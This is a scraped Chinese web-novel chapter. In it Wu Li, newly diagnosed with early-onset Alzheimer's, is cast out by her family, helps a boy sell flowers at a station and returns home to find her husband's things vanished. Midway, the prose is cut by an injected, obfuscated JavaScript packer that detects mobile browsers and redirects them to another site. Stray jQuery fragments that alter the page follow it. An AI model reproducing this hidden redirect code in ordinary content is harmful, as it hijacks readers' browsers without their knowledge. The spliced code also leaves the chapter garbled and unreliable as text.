默认冷灰
24号文字
方正启体

2. chapter2

作者:李阿也本书字数:K更新时间:
    *


    手机震动的响声惊得乌黎回过神,刚落的雨水早早停歇,楼道的感应灯猛地亮起,好似天光乍现,到了她该回去的时候。


    房里的人还哄闹作一团,乌黎推门时,一下就安静了。


    在她的视角里,还挺诡异的。


    “诊断书是谁的?”很少和她说话的奶奶突然开口。


    寻着话音,乌黎捏了捏冰凉的手指,外边太冷了,以至于刚出门手脚就冰凉,凉意袭上膝盖,隐约传来密密麻麻的疼,她的眼皮半耷着,站姿却很笔直,目光落到茶几上被人踩过的A4纸上。


    琴岛市第一医院的标志很刺眼,这段时间她去过医院几次,之所以没在京北就诊,也是怕裴郁发现,那个小苦瓜要再发现自己的妻子患上这样的病症,指不定工作都不让做了,虽然得了这样的病,被迫放弃工作很正常,她还有一技之长,不愁没饭吃,就是太辛苦他了。


    时钟在斑驳的墙面上缓缓流动,时间也在每一个人的脸上得到体现。


    乌黎对奶奶的问话表现得很冷淡,她微抬下颚,像一枝野蛮生长的带刺玫瑰,清凌凌的目光扫过在场的人,回应她的是——十数人同情、怜惜、惊诧的表情。


    活像她已经活不久了。


    真的很扫兴。


    十五年前很扫兴,十五年后也是。


    “我的。”乌黎走了几步,停在茶几旁,她身形纤细,不算高挑,却萦绕静谧的味道,身着浅米色针织毛衣,领口松垮露出小截光洁脖子,皙白的部位线条流畅动人,瘦得都能数清一共有多少块骨头,两缕碎发垂落脸侧,随呼吸放缓,宛如秋日拂过海水的微风,没有浮躁。


    似乎早有预料。


    靠在卧房旁的陈池月抄起个烟灰缸朝她砸去,玻璃碎了一地。


    陈池月满脸通红,指着乌黎的脸浑身发抖,那咬牙切齿的模样真像动怒的狮子,她怒吼,“乌黎!你别仗着有安稳工作,京北有套房子,随随便便能找个男人护着你,你就可以胡说八道!”


    乌黎被这一砸,左眼开始短暂模糊,惯性地抬眼朝墙布看去,米色的墙布又一次染了血渍。


    真是讽刺,她缓慢地呼吸,随着吸气的动作悬挂在眼角的伤口开始溢血,膝骨传来的疼痛夹杂着莫名的情绪让乌黎无法再回答些什么。


    陈女士这话,她半点没听出是在骂她的样子,反而不全都在夸她。


    夸那个怯懦的女孩从山城到琴岛,再到京北,终于有了处落脚的地方。


    害。


    也不知道谁在烟灰缸扔了这么多烟头,这身干净衣裳也算白瞎。


    街外的红绿灯开始倒数。


    十秒。


    乌黎放好诊断书,拿起外套。


    五秒。


    经过镜子,她都不用看,都知道眼角过于难看。


    乌黎刚想转身,余光扫到渡涸拉着陈池月的手。


    门口就在身后。


    下一秒。


    渡涸声音低沉,“你走吧,别再回来了。”


    乌黎低头看着散落的玻璃碴,反射出刺眼的光斑,心里没有丝毫波澜。角落的行李箱早已收拾好,乌黎只是转头,轻轻地把门带上,这一走仿佛就带走了三十年的牵绊与沉默。


    这次叫她回来,也不过是带走她搁置在这里的东西,她曾在年少时,自以为是的以为能融入这个地方,侥幸过了几年,换来的是长大后彻底离开。


    门内传来激烈的争吵,陈池月正以发疯般的状态大声哭喊着渡叔叔的名字,说乌黎根本没病,说她在骗他们,怪来怪去,终于到了正途。


    当年,陈池月纵容他们一家子欺负她,说她是野种,那个年头,没人带你去做什么DNA。


    如今,乌黎患上和奶奶一样的阿兹海默症,嗜赌成性的女人终于觉得对不起她的女儿。


    可是,哭来哭去有什么用呢?


    她当时裤子一提离开的第一个男人,是乌黎的亲爸。


    过了几年,还是这个男人,却不相信乌黎是他的种,让她叫了他十六年渡叔叔。


    **


    夜里的站台寂寥无声,灰色石板一块接连一块,拼凑出不规则的道儿。


    乌黎划拉着手机,最近的机票已经卖光,再不然就是中转机票还有得买。


    她站在亮灯的霓虹牌下,细眉微皱,屏幕突然跳出一则广告,没来得及关掉,页面自动跳进某程的火车票页面,回京北的还有一班,二等票还剩四张,算着时间回去大概十点过。


    对于火车的记忆,最深刻的应该是零四年从山城来到琴岛那次。


    当时并没有直达班次,她们需要先到济市,再转去琴岛。


    第一段是二百二十九,第二段是四十八,合计到一块也只有二百七十七的费用。


    陈池月只要她自己的。


    乌黎十四岁,身高还不到一米四,被归为儿童票的行列。


    陈池月觉得麻烦,也不打算给她买票,转头和站边刚来上班的小哥聊了一会儿,乌黎就此躲了二十七个小时的查票。


    车厢汗味脚臭极重,又混杂着方便面的味道,让身材瘦小的乌黎连鼻子都没法捂。


    有时候陈池月坐累了,乌黎才能去休息一下,这种位置两用的情景对她压根不陌生。


    只不过是从山城的出租屋换到了火车上。


    陈池月从上火车就开始勾搭闲聊,这让对面硬座的大姐很是不爽。


    骂骂咧咧不停,小乌黎去坐的时候,她也没停。


    “小姑娘,那是你妈?”


    “真不像话。”


    “好歹也有小孩子在,这都不收敛。”


    ...


    乌黎只觉得自己像是被烈日照射的冰块,她没法制止母亲,也没法反驳大妈。


    她将自己尽量透明化,却不知道一被人说就脸红的毛病,让对面的人更起劲。


    这段经历让她做了无数次的噩梦,到了琴岛还是会有。


    那时裴郁鼓励她说出来,等她说了一遍又捂着她的嘴不让说。


    “不就是火车,我带你再坐一次。”


    少年笑容恣意却不张扬,身上的浅蓝外套勾勒出劲瘦的线条,眉目被光浅浅附着。


    打薄的额前发丝堪过眉骨,皮肤是偏冷的瓷白色,不会像她这样说一句就脸红。


    “不,一次不够,你想坐几次都可以。”


    他的手肘撑在书桌上,替她支起一片天地。从转到琴岛就被赞美声包围的少年,托着下颚,利落订票,三分钟的时间,裴郁笑着帮她决定什么时候出发,什么时候回来。


    订票信息上,是刺眼的卧铺。


    乌黎连躲藏时,都记得那个梆硬的硬座。


    卧铺吗?


    她没去过。


    少年拉了下她的衣角,扬着手里的车票,“我们小梨子就适合最好的。”


    那年,是零六的春节。


    裴郁在楼下坐了一夜,她在民宿的沙发上睡了一夜。


    “姐姐。”


    乌黎适时提眸,杏眼因为往事泛起涟漪,落空感还回荡在心口挥散不去。


    面前的男生约莫十六七岁,手里攥着整盒创口贴和一包纸巾,有些羞涩地递到她面前。


    “给我的?”


    乌黎蹲下身,不太确定的询问,等男生又点了下头,才接下。


    “多少钱?姐姐给你。”乌黎扫视一周,在男生不远处看到一篮子将要售卖的鲜花。


    鲜花很是眼熟,但乌黎记不得,许是医生说的那样,她的发病速度太快。


    大部分人是几个月乃至半年才会转入中期。


    乌黎却用了一个月。


    手机的信息栏还躺着医生的信息:黎小姐,关于病情有个情况想提前跟你同步——像你这样的年轻患者,海马区虽只是轻度萎缩,但脑脊液检查中tau蛋白浓度偏高,早发性阿尔茨海默病部分患者从初期到中期进展会偏快,结合你的检查结果,存在这种可能性。


    “不用钱。”男生的声线很缓,带着点不容置疑的肯定。


    乌黎顿了一下,半开玩笑,“姐姐这样是不是很狼狈?所以你连钱都不收了?”


    她一贯不注重外貌,能长大能变得独当一面,里面不乏自己的努力和他人的扶持。


    眼角有伤会结痂,裤腿湿透会干。


    这个世界上没办法有利自己的全都发生在一块,如果可以,她压根不想来到这个世界。


    但生命有灵,能走一遭,已算自己的命数。


    至于今后的劫难如何,要凭本事去闯了。


    男生细细打量面前的姐姐,越看唇角勾得越起来,“姐姐,你很好看,但漂亮的脸不该被鲜血沾染。”


    乌黎的清冷是浸着琴岛海风的轻淡,眉骨生得利落,眼尾微扬却不锐利,像白纸临摹后的淡痕,眼眸深褐瞳仁偏淡,提眸时眼尾往下,遮住漫不经心的凉,脸皮瓷白,衬得眼部的褐色更沉,不笑时眼窝不显,添了几分疏离。


    乌黎应和地笑,“嗯,说得真对。”


    等了一会儿她指着远处的花篮,轻声询问,“来,姐姐陪你一块卖,反正还要一个点的时间才发车。”


    她总是这样,疯着玩,清醒着疯。


    大半夜一时兴起地整理家务,只不过整理了没多久又乱了。


    下定决心要减肥,吃了一顿又想吃下顿。


    ...


    所以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242113|197787||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裴郁总笑她随心所欲,安安静静地做着自己想做的事情。


    笑了几声,也陪着她发疯。


    “你卖的多少钱?”乌黎问。


    “五块。”男生回答。


    乌黎慢悠悠地打量周围的环境,瞥到酒吧,干脆开口:“太贵了,卖五块两支。”


    男生悄悄说,“五块已经是最便宜的了,其他人都卖十块。”


    乌黎看了眼几家商贩面前的花,又问:“哦,那他们卖出去没有?”


    男生摇头。


    乌黎想了想,说:“那就卖五块。”


    男生以为她终于不犟了,抬眼,笑眯眯的,刚要夸她。


    “两支。”


    又不笑了。


    乌黎忍着笑,带着他在酒吧不远处实践了一把。


    那晚的鲜花香气馥郁,更何况乌黎顶着显眼的创可贴叫卖。


    两人合力,不到二十分钟就卖光了。


    “这是什么道理?”男生有些疑惑。


    乌黎解释,“男人嘛,总要装大款,带着女孩到酒吧来,先找听着便宜的,五块钱两支,又觉得要自己大方,在女生面前提着价钱,又看你是小孩,自然而然就比你五块钱一支都贵了。”


    男生似懂非懂,“姐姐,你好厉害。”


    男生看了眼路边的摊子,拿着钱非要给她买碗野馄饨,没提到馄饨以前,乌黎还是不饿。


    如今还是坐在红棚子下,吃了碗正宗的野馄饨。


    一碗十来个,八块钱,能配着烤串吃,但乌黎没什么胃口,心里烦得慌泛了酸水。


    不吃点准吐,还是没拒绝他的好意。


    吃完后,乌黎和他道别。


    等她走出老远,男生才发现兜里的两百块钱和空下来的花瓶,再想找她,她已经进站了。


    他原本是想把留的两支花送给她的。


    “那个哥哥没来吗?”男生是想这么问的,但看乌黎狼狈的模样,到底是没问出口。


    曾经裴郁和她一样,走的时候也给了钱,不然他怎么会认得当时跟在裴郁身边的女生。


    他手里还有乌黎高中的照片,是当时裴郁走时掉的。


    他本来想找机会感谢他们,但是一直没有机会。


    少年倒着走路,眉眼敛着笑,挥手,“喂,小孩,记得要像哥哥一样帮助人,实在不行,你就帮这姐姐,如果我不在身边的话。”


    而后,又拍了下自己的胸脯,“当然了,我可是随时随地都会陪在她身边。”


    乌黎捶了下他的肩膀,“臭屁。”


    他偏头看她,“我哪有。”


    ***


    火车驶入京北,繁华的大楼在雨幕里变得赛博化。


    无数电灯连接起来,像一座不夜城。


    乌黎没带伞,也没想起买把伞。


    家里伞多,她每次都忘记,买了高价,拿回去没怎么用。


    到少思苑时,已经晚上十一点。


    雨落屋檐,乌黎的裤腿全是水渍,湿润的长裤贴紧皮肤。


    房间里的摆放还是走之前的样子,唯一变化的是裴郁的东西全都消失了。


    她站在空无一人的房间,头一次感受到孤独。


    这是离开裴郁后,从来没有的感觉。


    当时他说律所有了大案,他得去趟香泽,如果严重也许要出国。


    他们偶尔也联系,多是发消息。


    被诊查出阿兹海默症后,裴郁的消息停了。


    乌黎这次回琴岛就是想问母亲,可除了自己的记忆,她在陈池月那里没有得到一点有用的消息。


    将情况悉数告知给医生时,医生也说有这种原因。


    没有裴郁,这所有的瞬间都是她幻想出来。


    乌黎不太信,总觉得自己是被做局了。


    她逃离苦海的十六年里,裴郁占大头,没有他,那和自己早就死了有什么区别。


    当年知道他俩结婚的人不多,就乌黎这边的家人和裴郁那边的朋友,他的朋友她联系不上,家里人都说没有见过,就连她的结婚证都一并不见,往往是她想起去做什么事,没多久就忘了。


    到现在她只敢想裴郁。


    某贴因为有人跟帖响了几下。


    她点开帖子,那是初中时发的一句话。


    【亲人是这辈子无法割舍的悲歌,也是阴暗时湿润的阵雨。】


    第2593楼:“这是乌梨的作者吧?慕名而来。”


    乌黎看向最高赞,是她离开山城的最后几周,收到的跟评。


    那人跟楼:总有人会为你而来,等我找你探讨,教你享受爱与被爱。


    乌黎刚想点开主页,却发现账号早已注销。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)